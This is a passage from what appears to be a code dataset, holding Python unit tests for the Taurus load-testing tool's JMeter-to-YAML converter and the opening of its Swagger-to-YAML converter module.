ds in tg2_datasets]\n\n self.assertEqual(3, len(tg1_files))\n self.assertEqual(1, len(tg2_files))\n\n self.assertEqual(set(tg1_files), {\"global.csv\", \"local.csv\", \"grandchild.csv\"})\n self.assertEqual(set(tg2_files), {\"global.csv\"})\n\n def test_parse_csv_dataset(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/global_copy.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n datasets = yml.get(\"scenarios\").get(\"Thread Group one\").get(\"data-sources\")\n local_csv = [dataset for dataset in datasets if dataset.get('path') == 'local.csv'][0]\n self.assertEqual(local_csv['loop'], False)\n self.assertEqual(local_csv['delimiter'], ',')\n self.assertEqual(local_csv['quoted'], False)\n\n def test_copy_global_headers(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/global_copy.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n headers_first_tg = yml.get(\"scenarios\").get(\"Thread Group one\").get(\"headers\", [])\n headers_second_tg = yml.get(\"scenarios\").get(\"Thread Group two\").get(\"headers\", [])\n self.assertEqual(len(headers_first_tg), 3)\n self.assertEqual(len(headers_second_tg), 2)\n\n def test_cache_cookie_dns_overrides(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/global_copy.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(\"scenarios\").get('Thread Group one')\n tg_two = yml.get(\"scenarios\").get('Thread Group two')\n cache_first_tg = tg_one.get(\"store-cache\")\n cache_second_tg = tg_two.get(\"store-cache\")\n cookie_first_tg = tg_one.get(\"store-cookie\")\n cookie_second_tg = tg_two.get(\"store-cookie\")\n dns_cache_mgr_first_tg = tg_one.get(\"use-dns-cache-mgr\")\n dns_cache_mgr_second_tg = tg_two.get(\"use-dns-cache-mgr\")\n self.assertEqual(cache_first_tg, True)\n self.assertEqual(cache_second_tg, True)\n self.assertEqual(cookie_first_tg, False)\n self.assertEqual(cookie_second_tg, True)\n self.assertEqual(dns_cache_mgr_first_tg, True)\n self.assertEqual(dns_cache_mgr_second_tg, True)\n\n def test_think_time_overrides(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/global_copy.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(\"scenarios\").get('Thread Group one')\n tg_two = yml.get(\"scenarios\").get('Thread Group two')\n request_tg_two = tg_two.get(\"requests\")[0]\n tg_one_timer = tg_one.get(\"think-time\")\n tg_two_timer = tg_two.get(\"think-time\")\n req_timer = request_tg_two.get(\"think-time\")\n\n self.assertEqual(tg_one_timer, \"200ms\")\n self.assertEqual(tg_two_timer, \"300ms\")\n self.assertEqual(req_timer, \"100ms\")\n\n def test_request_defaults(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/global_copy.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(\"scenarios\").get('Thread Group one')\n tg_two = yml.get(\"scenarios\").get('Thread Group two')\n self.assertEqual(tg_one.get(\"default-address\"), \"https://127.0.0.2/\")\n self.assertEqual(tg_two.get(\"default-address\"), \"http://127.0.0.3:2582/resources/\")\n self.assertEqual(tg_one.get(\"timeout\"), \"500ms\")\n self.assertEqual(tg_two.get(\"timeout\"), \"100ms\")\n self.assertEqual(tg_one.get(\"retrieve-resources\"), True)\n self.assertEqual(tg_two.get(\"retrieve-resources\"), True)\n self.assertEqual(tg_one.get(\"concurrent-pool-size\"), 5)\n self.assertEqual(tg_two.get(\"concurrent-pool-size\"), 10)\n\n def test_copy_global_request_assertions(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/assertions.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(\"scenarios\").get(\"tg1\")\n tg_two = yml.get(\"scenarios\").get(\"tg2\")\n tg_one_assertions = tg_one.get(\"assert\")\n self.assertEqual(len(tg_one_assertions), 2) # global assertion + tg assertion\n tg_two_assertions = tg_two.get(\"assert\")\n self.assertEqual(len(tg_two_assertions), 1) # global only assertion\n tg_one_req_one_assertion = tg_one.get(\"requests\")[0].get(\"assert\")[0]\n expected = {\"subject\": \"headers\", \"contains\": [\"tg1httpreq1\", \"tg1httpreq12\"],\n \"assume-success\": False, \"not\": False, \"regexp\": False}\n self.assertEqual(tg_one_req_one_assertion, expected)\n tg_one_assertion = tg_one.get(\"assert\")[0]\n expected = {\"subject\": \"body\", \"contains\": [\"tg1body_text_not_contains\"],\n \"assume-success\": False, \"not\": True, 'regexp': False}\n self.assertEqual(tg_one_assertion, expected)\n\n def test_broken_request_assertions(self):\n # see comments in broken_resp_asserts.jmx for explanation of cases\n # don't save broken_resp_asserts.jmx by jmeter\n self.configure(RESOURCES_DIR + \"yaml/converter/broken_resp_asserts.jmx\")\n self.obj.process()\n self.assertTrue(self.same_yaml(\"broken_resp_asserts.yml\"))\n\n def test_auth_manager(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/auth_manager.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n auth = yml.get(\"scenarios\").get(\"Thread Group\").get(\"authorization\")\n sample = {\n 'clear': True,\n 'list': [{\n 'url': 'ya.ru/page', 'password': 'p1', 'realm': 'one', 'name': 'u1', 'mechanism': 'KERBEROS'},\n {'domain': 'ma.ru', 'password': 'p2', 'name': 'u2'}]}\n\n self.assertEqual(auth, sample)\n\n def test_copy_global_json_assertions(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/assertions.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(\"scenarios\").get(\"tg1\")\n tg_two = yml.get(\"scenarios\").get(\"tg2\")\n tg_one_assertions = tg_one.get(\"assert-jsonpath\")\n self.assertEqual(len(tg_one_assertions), 1) # global assertion + tg assertion\n tg_two_assertions = tg_two.get(\"assert-jsonpath\")\n self.assertEqual(len(tg_two_assertions), 1) # global only assertion\n tg_one_req_one_jp = tg_one.get(\"requests\")[0].get(\"assert-jsonpath\", []) # no assertions\n self.assertEqual(len(tg_one_req_one_jp), 0)\n tg_two_req_one_jp = tg_two.get(\"requests\")[0].get(\"assert-jsonpath\", [])\n self.assertEqual(len(tg_two_req_one_jp), 1)\n expected = {\"expect-null\": True, \"invert\": True, \"jsonpath\": '$(\":input\")', \"validate\": True, \"regexp\": True}\n self.assertEqual(expected, tg_two_req_one_jp[0])\n # test concurrency, ramp-up, iterations in execution\n tg_one_exec = yml.get(ScenarioExecutor.EXEC)[0]\n tg_two_exec = yml.get(ScenarioExecutor.EXEC)[1]\n tg_three_exec = yml.get(ScenarioExecutor.EXEC)[2]\n self.assertEqual(tg_one_exec.get(\"concurrency\"), 10)\n self.assertEqual(tg_two_exec.get(\"concurrency\"), 15)\n self.assertEqual(tg_three_exec.get(\"concurrency\"), 1)\n self.assertEqual(tg_one_exec.get(\"ramp-up\"), '10s')\n self.assertEqual(tg_two_exec.get(\"ramp-up\"), '60s')\n self.assertEqual(tg_three_exec.get(\"ramp-up\"), '2s')\n self.assertEqual(tg_one_exec.get(\"iterations\"), 1)\n self.assertEqual(tg_two_exec.get(\"iterations\"), 1)\n self.assertEqual(tg_three_exec.get(\"iterations\"), 100)\n\n def test_xpath_assertions(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/assertions.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg = yml.get(\"scenarios\").get(\"tg3\")\n assertions = tg.get(\"assert-xpath\")\n self.assertEqual(len(assertions), 2)\n self.assertEqual(assertions[0], {\n \"xpath\": \"/note/to\",\n \"ignore-whitespace\": False,\n \"invert\": False,\n \"validate-xml\": False,\n \"use-tolerant-parser\": False,\n })\n self.assertEqual(assertions[1], {\n \"xpath\": \"/note/from\",\n \"ignore-whitespace\": True,\n \"invert\": True,\n \"validate-xml\": True,\n \"use-tolerant-parser\": True,\n })\n\n def test_extractors(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/extractors.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(\"scenarios\").get(\"tg1\")\n tg_two = yml.get(\"scenarios\").get(\"tg2\")\n tg_three = yml.get(\"scenarios\").get(\"tg3\")\n tg_one_extractors = tg_one.get(\"extract-regexp\")\n tg_two_extractors = tg_two.get(\"extract-regexp\")\n self.assertEqual(len(tg_one_extractors), 1) # global\n self.assertEqual(len(tg_two_extractors), 1) # global + local - ignored\n tg_one_req_exr = tg_one.get(\"requests\")[0].get(\"extract-regexp\", {})\n self.assertEqual(len(tg_one_req_exr), 2)\n expected = {'template': '1', 'match-no': 1, 'regexp': '*tg1hr1', 'default': 'default'}\n self.assertEqual(expected, tg_one_req_exr.get(\"test_tg1hr1\"))\n # test extract-jsonpath\n tg_one_extractors = tg_one.get(\"extract-jsonpath\")\n tg_two_extractors = tg_two.get(\"extract-jsonpath\")\n self.assertEqual(len(tg_one_extractors), 5) # 4x global + local\n self.assertEqual(len(tg_two_extractors), 4) # 4x global\n tg_three_req_exr = tg_three.get(\"requests\")[0].get(\"extract-jsonpath\", {})\n self.assertEqual(len(tg_three_req_exr), 1) # 1x local\n # test extract-xpath\n tg_three_extractors = tg_three.get(\"extract-xpath\")\n self.assertEqual(len(tg_three_extractors), 2) # 2 global\n self.assertEqual(tg_three_extractors['bookAuthor'], {\n \"xpath\": \"/books/[@title()='1984']/author\",\n \"default\": \"no_author\",\n \"ignore-whitespace\": False,\n \"validate-xml\": False,\n \"use-tolerant-parser\": False,\n })\n self.assertEqual(tg_three_extractors['author'], {\n \"xpath\": \"/books/[@title()='Fahrenheit 451']/author\",\n \"default\": \"no\",\n \"ignore-whitespace\": True,\n \"validate-xml\": True,\n \"use-tolerant-parser\": False,\n })\n self.assertEqual(tg_one_extractors['VAR1'], {\n \"jsonpath\": \"$.foo\",\n \"default\": \"DEF_1\",\n })\n self.assertEqual(tg_one_extractors['VAR2'], {\n \"jsonpath\": \"$.bar\",\n \"default\": \"DEF_2\",\n })\n # extract-boundary\n self.assertEqual(tg_two['requests'][0]['extract-boundary']['extractedTitle'], {\n 'subject': 'body',\n 'left': '<title>',\n 'right': '</title>',\n 'match-no': 1,\n 'default': 'DEFVAL',\n })\n self.assertEqual(tg_two['requests'][0]['extract-boundary']['extractedMeta'], {\n 'subject': 'response-headers',\n 'left': 'Host:',\n 'right': '\\\\n',\n 'match-no': 0,\n 'default': '',\n })\n\n def test_request_body(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/extractors.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(\"scenarios\").get(\"tg1\")\n tg_two = yml.get(\"scenarios\").get(\"tg2\")\n tg_one_req_one_body = tg_one.get(\"requests\")[0].get(\"body\")\n self.assertEqual(tg_one_req_one_body, \"body-string\")\n tg_one_req_one_body = tg_one.get(\"requests\")[1].get(\"body\")\n self.assertEqual(tg_one_req_one_body, {\"body_param1\": \"value1\", \"body_param2\": \"value2\"})\n tg_two_req_one_body = tg_two.get(\"requests\")[0].get(\"body\")\n self.assertEqual(tg_two_req_one_body, None)\n\n def test_json_body(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/json_body.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n reqs1 = yml.get(\"scenarios\").get(\"tg1\")['requests']\n reqs2 = yml.get(\"scenarios\").get(\"tg2\")['requests']\n bodies = {req['label']: req.get('body', None) for req in reqs1 + reqs2}\n targets = {'r1_1': None, 'r1_2': list, 'r1_3': str, 'r1_4': dict,\n 'r2_1': None, 'r2_2': dict, 'r2_3': str, 'r2_4': str, 'r2_5': str}\n for label in targets:\n self.assertTrue((bodies[label] is None and targets[label] is None)\n or isinstance(bodies[label], targets[label]))\n\n def test_duration_throughput(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/duration.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n tg_one = yml.get(ScenarioExecutor.EXEC)[0]\n tg_two = yml.get(ScenarioExecutor.EXEC)[1]\n tg_three = yml.get(ScenarioExecutor.EXEC)[2]\n self.assertEqual(\"10s\", tg_one.get(\"ramp-up\"))\n self.assertEqual(\"60s\", tg_one.get(\"hold-for\"))\n self.assertEqual(\"10s\", tg_one.get(\"ramp-up\"))\n self.assertEqual(100, tg_one.get(\"throughput\"))\n self.assertEqual(\"10s\", tg_two.get(\"ramp-up\"))\n self.assertEqual(\"20s\", tg_two.get(\"hold-for\"))\n self.assertEqual(20, tg_two.get(\"throughput\"))\n self.assertEqual(\"60s\", tg_three.get(\"ramp-up\"))\n self.assertEqual(\"40s\", tg_three.get(\"hold-for\"))\n self.assertEqual(100, tg_three.get(\"throughput\"))\n\n def test_all(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/disabled.jmx\")\n self.obj.process()\n self.assertTrue(self.same_yaml(\"disabled.yml\"))\n\n def test_params_conversion(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/params_conversion.jmx\")\n self.sniff_log(self.obj.log)\n self.obj.process()\n self.assertTrue(self.same_yaml(\"params_conversion.yml\"))\n self.assertNotIn('n1', self.log_recorder.warn_buff.getvalue())\n self.assertNotIn('n2', self.log_recorder.warn_buff.getvalue())\n self.assertIn('n1_101', self.log_recorder.debug_buff.getvalue())\n self.assertIn('n1_011', self.log_recorder.debug_buff.getvalue())\n self.assertIn('n1_001', self.log_recorder.debug_buff.getvalue())\n\n def test_param_null(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/param-null.jmx\")\n self.obj.process()\n\n def test_load_profile_default_values(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/default.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n execution = yml.get(ScenarioExecutor.EXEC)[0]\n self.assertEqual(\"60s\", execution.get(\"ramp-up\"))\n self.assertEqual(\"60s\", execution.get(\"hold-for\"))\n self.assertEqual(1, execution.get(\"concurrency\"))\n self.assertEqual(1, execution.get(\"iterations\"))\n\n def test_variables(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/vars.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n scenarios = yml.get(\"scenarios\")\n tg_one = scenarios[\"TG1\"]\n self.assertEqual(tg_one.get('variables'),\n {\"tg1_local\": \"tg1\", \"global_var\": \"global\", \"auth_token\": \"<PASSWORD>\"})\n tg_two = scenarios[\"TG2\"]\n self.assertEqual(tg_two.get('variables'),\n {\"tg2_local\": \"tg2\", \"global_var\": \"global\", \"auth_token\": \"<PASSWORD>\"})\n\n self.assertEqual(tg_two.get(\"requests\")[1].get(\"set-variables\"),\n {\"sva_name1\": \"sva_val1\", \"sva_name2\": \"sva_val2\"})\n\n def test_no_variables(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/default.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n execution = yml.get(ScenarioExecutor.EXEC)[0]\n scenarios = yml.get(\"scenarios\")\n scenario = scenarios[execution.get(\"scenario\")]\n self.assertNotIn(\"variables\", scenario)\n\n def test_controllers_to_requests(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/controllers.jmx\")\n self.obj.process()\n self.assertTrue(self.same_yaml(\"controllers.yml\"))\n\n def test_json_delimiter(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx//json_extractors.jmx\")\n self.obj.process()\n\n def test_jsr223(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/jsr223.jmx\")\n try:\n self.obj.process()\n lines = FileReader(self.obj.dst_file).get_lines(last_pass=True)\n yml = yaml.load(''.join(lines))\n scenarios = yml.get(\"scenarios\")\n scenario = scenarios[\"Thread Group\"]\n requests = scenario[\"requests\"]\n self.assertEqual(len(requests), 1)\n request = requests[0]\n self.assertIn(\"jsr223\", request)\n parsed_jsrs = request[\"jsr223\"]\n self.assertTrue(isinstance(parsed_jsrs, list))\n self.assertEqual(len(parsed_jsrs), 5)\n\n target = [{\n 'script-text': 'scripty', 'execute': 'before', 'compile-cache': 'false',\n 'language': 'beanshell', 'parameters': 'paramssss'\n }, {\n 'script-text': u'console.log(\"\\u041f\\u0420\\u0418\\u0412\\u0415\\u0422\");\\nline(\"2\");',\n 'execute': 'after', 'compile-cache': 'true', 'language': 'javascript', 'parameters': 'a b c'\n }, {\n 'execute': 'after', 'compile-cache': 'true', 'language': 'javascript', 'parameters': None,\n 'script-file': 'script.js'\n }, {\n 'script-text': 'console.log(\"beanshell aka jsr223\");', 'execute': 'before',\n 'compile-cache': True, 'language': 'beanshell', 'parameters': None\n }, {\n 'execute': 'before', 'compile-cache': 'true', 'language': 'java', 'parameters': None,\n 'script-file': 'tests/resources/BlazeDemo.java'}]\n\n self.assertEqual(parsed_jsrs, target)\n\n js_script = os.path.join(get_full_path(self.obj.dst_file, step_up=1), 'script.js')\n self.assertTrue(os.path.exists(js_script))\n finally:\n os.remove(os.path.join(get_full_path(self.obj.dst_file, step_up=1), 'script.js'))\n\n def test_unicode(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/unicode.jmx\")\n self.obj.process()\n\n def test_path_without_domain(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/http.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n scenarios = yml.get(\"scenarios\")\n scenario = scenarios[\"Thread Group\"]\n requests = scenario[\"requests\"]\n self.assertEqual(len(requests), 3)\n without_domain = requests[2]\n self.assertEqual(without_domain['url'], '/path')\n\n def test_request_content_encoding(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/http.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n scenarios = yml.get(\"scenarios\")\n scenario = scenarios[\"Thread Group\"]\n requests = scenario[\"requests\"]\n self.assertEqual(len(requests), 3)\n request = requests[1]\n self.assertEqual(request['content-encoding'], 'utf-8')\n\n def test_request_redirect_policy(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/http.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n scenarios = yml.get(\"scenarios\")\n scenario = scenarios[\"Thread Group\"]\n requests = scenario[\"requests\"]\n self.assertEqual(len(requests), 3)\n self.assertEqual(requests[0].get('follow-redirects'), True)\n self.assertEqual(requests[1].get('follow-redirects'), True)\n self.assertEqual(requests[2].get('follow-redirects'), False)\n\n def test_all_controllers(self):\n self.configure(RESOURCES_DIR + \"jmeter/jmx/all_controllers.jmx\")\n self.obj.process()\n self.assertTrue(self.same_yaml(\"all_controllers.yml\"))\n\n def test_include_controllers(self):\n \"\"\" check whether known controller included into unknown one is parsed properly \"\"\"\n with open(RESOURCES_DIR + \"jmeter/jmx/all_controllers.jmx\") as f:\n content = f.read()\n\n # make IfControllers unknown\n content = content.replace(\"IfController\", \"FiController\", sys.maxsize)\n\n fd, wrong_jmx = tempfile.mkstemp(suffix=\".jmx\")\n os.close(fd)\n try:\n with open(wrong_jmx, \"a\") as _file:\n _file.write(content)\n\n self.configure(wrong_jmx)\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n requests = yml.get(\"scenarios\").get(\"Thread Group\").get(\"requests\")\n self.assertTrue(any(request.get(\"while\") == \"${WC}\" for request in requests))\n finally:\n if os.path.exists(wrong_jmx):\n os.remove(wrong_jmx)\n\n def test_loop_controllers(self):\n self.configure(RESOURCES_DIR + \"yaml/converter/loop-controllers.jmx\")\n self.obj.process()\n yml = yaml.load(open(self.obj.dst_file).read())\n requests = yml.get(\"scenarios\").get(\"Thread Group\").get(\"requests\")\n self.assertEqual(len(requests), 2)\n first, second = requests\n self.assertEqual('forever', first['loop'])\n self.assertEqual(10, second['loop'])\n", "id": "7653442", "language": "Python", "matching_score": 3.816655158996582, "max_stars_count": 0, "path": "tests/test_jmx2yaml.py" }, { "content": "\"\"\"\nSwagger to YAML converter for Taurus\n\nCopyright 2017 BlazeMeter Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport copy\nimport json\nimport logging\nimport os\nimport re\nimport sys\nimport traceback\nfrom collections import namedtuple, OrderedDict\nfrom optparse import OptionParser\n\nimport yaml\n\nfrom bzt import TaurusInternalException, TaurusConfigError\nfrom bzt.cli import CLI\nfrom bzt.engine import Configuration\nfrom bzt.six import iteritems, parse, urlencode\nfrom bzt.utils import BetterDict\n\n\ndef yaml_ordered_load(stream, Loader=yaml.Loader, object_pairs_hook=OrderedDict):\n class OrderedLoader(Loader):\n pass\n def construct_mapping(loader, node):\n loader.flatten_mapping(node)\n return object_pairs_hook(loader.construct_pairs(node))\n OrderedLoader.add_constructor(\n yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG,\n construct_mapping)\n return yaml.load(stream, OrderedLoader)\n\n\nclass Swagger(object):\n METHODS = [\"get\", \"put\", \"post\", \"delete\", \"options\", \"head\", \"patch\"]\n\n INTERPOLATE_WITH_VALUES = 'values'\n INTERPOLATE_WITH_JMETER_VARS = 'variables'\n INTERPOLATE_DISABLE = 'none'\n\n Definition = namedtuple(\"Definition\", \"name, schema\")\n Parameter = namedtuple(\"Parameter\", \"name, location, description, required, schema, type, format\")\n Response = namedtuple(\"Response\", \"name, description, schema, headers\")\n Path = namedtuple(\"Path\", \"ref, get, put, post, delete, options, head, patch, parameters\")\n Operation = namedtuple(\"Operation\",\n \"summary, description, operation_id, consumes, produces, parameters, responses, security\")\n SecurityDef = namedtuple(\"SecurityDef\", \"type, description, name, location\")\n\n def __init__(self, parent_log=None):\n self.log = (parent_log or logging.getLogger('')).getChild(self.__class__.__name__)\n self.swagger = None\n self.info = None\n self.definitions = {}\n self.parameters = {}\n self.responses = {}\n self.paths = OrderedDict()\n self.security_defs = {}\n self.default_security = []\n\n def _load(self, swagger_spec_fd):\n content = swagger_spec_fd.read()\n try:\n self.log.debug(\"Loading Swagger spec as YAML\")\n self.swagger = yaml_ordered_load(content, yaml.SafeLoader)\n self.log.info(\"Loaded Swagger spec %s\", swagger_spec_fd)\n except BaseException as exc:\n self.log.debug(\"Can't parse Swagger spec as YAML\")\n try:\n self.log.debug(\"Loading Swagger spec as JSON\")\n self.swagger = json.loads(content)\n self.log.info(\"Loaded Swagger spec %s\", swagger_spec_fd)\n except BaseException:\n raise TaurusConfigError(\"Error when parsing Swagger file '%s': %s\" % (swagger_spec_fd, exc))\n\n def _validate_swagger_version(self):\n swagger_version = self.swagger.get(\"swagger\", self.swagger.get(\"openapi\"))\n if swagger_version != \"2.0\":\n raise ValueError(\"Only Swagger 2.0 specs are supported, got %s\" % swagger_version)\n\n def _extract_toplevel_definitions(self):\n self.info = self.swagger.get(\"info\", {})\n\n for name, schema in iteritems(self.swagger.get(\"definitions\", {})):\n self.definitions[name] = Swagger.Definition(name=name, schema=schema)\n\n for name, response in iteritems(self.swagger.get(\"responses\", {})):\n self.responses[name] = Swagger.Response(name=name, description=response.get(\"description\"),\n schema=response.get(\"schema\"), headers=response.get(\"headers\"))\n\n for name, param in iteritems(self.swagger.get(\"parameters\", {})):\n parameter = Swagger.Parameter(name=name, location=param.get(\"in\"), description=param.get(\"description\"),\n required=param.get(\"required\"), schema=param.get(\"schema\"),\n type=param.get(\"type\"), format=param.get(\"format\"))\n self.parameters[name] = parameter\n\n for name, secdef in iteritems(self.swagger.get(\"securityDefinitions\", {})):\n self.security_defs[name] = Swagger.SecurityDef(type=secdef.get('type'),\n description=secdef.get('description'),\n name=secdef.get('name'),\n location=secdef.get('in'))\n\n def _lookup_reference(self, reference):\n if not reference.startswith(\"#/\"):\n return\n path = reference[2:].split('/')\n pointer = self.swagger\n for component in path:\n if component not in pointer:\n raise IndexError(\"Can't find location by reference %r at part %r\" % (reference, component))\n pointer = pointer[component]\n self.log.debug(\"Found by reference %r: %r\", reference, pointer)\n return pointer\n\n def _extract_operation(self, operation):\n parameters = OrderedDict()\n for param in operation.get(\"parameters\", []):\n if \"$ref\" in param:\n param = self._lookup_reference(param[\"$ref\"])\n param_name = param[\"name\"]\n parameter = Swagger.Parameter(name=param_name, location=param.get(\"in\"),\n description=param.get(\"description\"), required=param.get(\"required\"),\n schema=param.get(\"schema\"), type=param.get(\"type\"),\n format=param.get(\"format\"))\n parameters[param_name] = parameter\n\n responses = OrderedDict()\n for name, resp in iteritems(operation.get(\"responses\", {})):\n response = Swagger.Response(name=name, description=resp.get(\"description\"), schema=resp.get(\"schema\"),\n headers=resp.get(\"headers\"))\n responses[name] = response\n\n return Swagger.Operation(summary=operation.get(\"summary\"), description=operation.get(\"description\"),\n operation_id=operation.get(\"operationId\"), consumes=operation.get(\"consumes\"),\n produces=operation.get(\"produces\"), parameters=parameters, responses=responses,\n security=operation.get(\"security\"))\n\n def _extract_paths(self):\n for name, path_item in iteritems(self.swagger[\"paths\"]):\n path = {\"ref\": None, \"get\": None, \"put\": None, \"post\": None, \"delete\": None, \"options\": None, \"head\": None,\n \"patch\": None, \"parameters\": {}}\n for method in Swagger.METHODS:\n if method in path_item:\n operation = path_item[method]\n path[method] = self._extract_operation(operation)\n\n for param in path_item.get(\"parameters\", []):\n if \"$ref\" in param:\n param = self._lookup_reference(param[\"$ref\"])\n param_name = param[\"name\"]\n parameter = Swagger.Parameter(name=param_name, location=param.get(\"in\"),\n description=param.get(\"description\"), required=param.get(\"required\"),\n schema=param.get(\"schema\"), type=param.get(\"type\"),\n format=param.get(\"format\"))\n path[\"parameters\"][param_name] = parameter\n self.paths[name] = Swagger.Path(**path)\n\n def parse(self, swagger_spec_fd):\n self._load(swagger_spec_fd)\n self._validate_swagger_version()\n self._extract_toplevel_definitions()\n self._extract_paths()\n\n def get_definitions(self):\n return self.definitions\n\n def get_responses(self):\n return self.responses\n\n def get_parameters(self):\n return self.parameters\n\n def get_paths(self):\n return self.paths\n\n def get_interpolated_paths(self, parameter_interpolation=INTERPOLATE_WITH_VALUES):\n paths = OrderedDict()\n replacer_regex = lambda name: r'(?<!\\$)(\\{' + name + r'\\})' # replace '{name}', but skip '${name}'\n for path, path_obj in iteritems(self.paths):\n new_path = path\n for method in Swagger.METHODS:\n operation = getattr(path_obj, method)\n if operation is not None:\n for _, param in iteritems(operation.parameters):\n if param.location == \"path\":\n name = param.name\n if parameter_interpolation == Swagger.INTERPOLATE_WITH_VALUES:\n value = str(Swagger.get_data_for_type(param.type, param.format))\n elif parameter_interpolation == Swagger.INTERPOLATE_WITH_JMETER_VARS:\n value = \"${\" + param.name + \"}\"\n else:\n value = None\n if value is not None:\n new_path = re.sub(replacer_regex(name), value, new_path)\n for _, param in iteritems(path_obj.parameters):\n if param.location == \"path\":\n name = param.name\n if parameter_interpolation == Swagger.INTERPOLATE_WITH_VALUES:\n value = str(Swagger.get_data_for_type(param.type, param.format))\n elif parameter_interpolation == Swagger.INTERPOLATE_WITH_JMETER_VARS:\n value = \"${\" + param.name + \"}\"\n else:\n value = None\n if value is not None:\n new_path = re.sub(replacer_regex(name), value, new_path)\n path_obj = copy.deepcopy(path_obj)\n paths[new_path] = path_obj\n return paths\n\n def get_info(self):\n return copy.deepcopy(self.info)\n\n def get_host(self):\n host = self.swagger.get(\"host\", \"\")\n if not host:\n self.log.warning(\"Warning: no `host` declared, using HOST placeholder\")\n host = \"HOST\"\n return host\n\n def get_base_path(self):\n return self.swagger.get(\"basePath\")\n\n @staticmethod\n def get_data_for_type(data_type, data_format):\n del data_format\n if data_type == \"string\":\n return \"some_string\"\n elif data_type == \"number\":\n return 1\n elif data_type == \"integer\":\n return 1\n elif data_type == \"boolean\":\n return True\n elif data_type == \"array\":\n return [1, 2, 3]\n else:\n raise ValueError(\"Can't generate dummy data for type %s\" % data_type)\n\n @staticmethod\n def get_data_for_schema(schema):\n del schema\n # TODO: generate dummy data from JSONSchema\n return None\n\n\nclass SwaggerConverter(object):\n def __init__(\n self,\n parent_log,\n scenarios_from_paths=False,\n parameter_interpolation=Swagger.INTERPOLATE_WITH_VALUES,\n ):\n self.scenarios_from_paths = scenarios_from_paths\n self.parameter_interpolation = parameter_interpolation\n self.log = parent_log.getChild(self.__class__.__name__)\n self.swagger = Swagger(self.log)\n\n def _interpolate_parameter(self, param):\n if self.parameter_interpolation == Swagger.INTERPOLATE_WITH_VALUES:\n return Swagger.get_data_for_type(param.type, param.format)\n elif self.parameter_interpolation == Swagger.INTERPOLATE_WITH_JMETER_VARS:\n return '${' + param.name + '}'\n else:\n return None\n\n def _interpolate_body(self, param):\n if self.parameter_interpolation == Swagger.INTERPOLATE_WITH_VALUES:\n return Swagger.get_data_for_schema(param.schema)\n elif self.parameter_interpolation == Swagger.INTERPOLATE_WITH_JMETER_VARS:\n return '${body}'\n else:\n return None\n\n def _handle_parameters(self, parameters):\n query_params = OrderedDict()\n form_data = {}\n request_body = None\n headers = {}\n for _, param in iteritems(parameters):\n if not param.required:\n continue\n if param.location == \"header\":\n name = param.name\n value = self._interpolate_parameter(param)\n headers[name] = value\n elif param.location == \"query\":\n name = param.name\n value = self._interpolate_parameter(param)\n query_params[name] = value\n elif param.location == \"formData\":\n name = param.name\n value = self._interpolate_parameter(param)\n form_data[name] = value\n elif param.location == \"body\":\n request_body = self._interpolate_body(param)\n elif param.location == \"path\":\n pass # path parameters are resolved at a different level\n else:\n self.log.warning(\"Unsupported parameter location (%s). Skipping\", param.location)\n return query_params, form_data, request_body, headers\n\n def _embed_query_in_path(self, path, 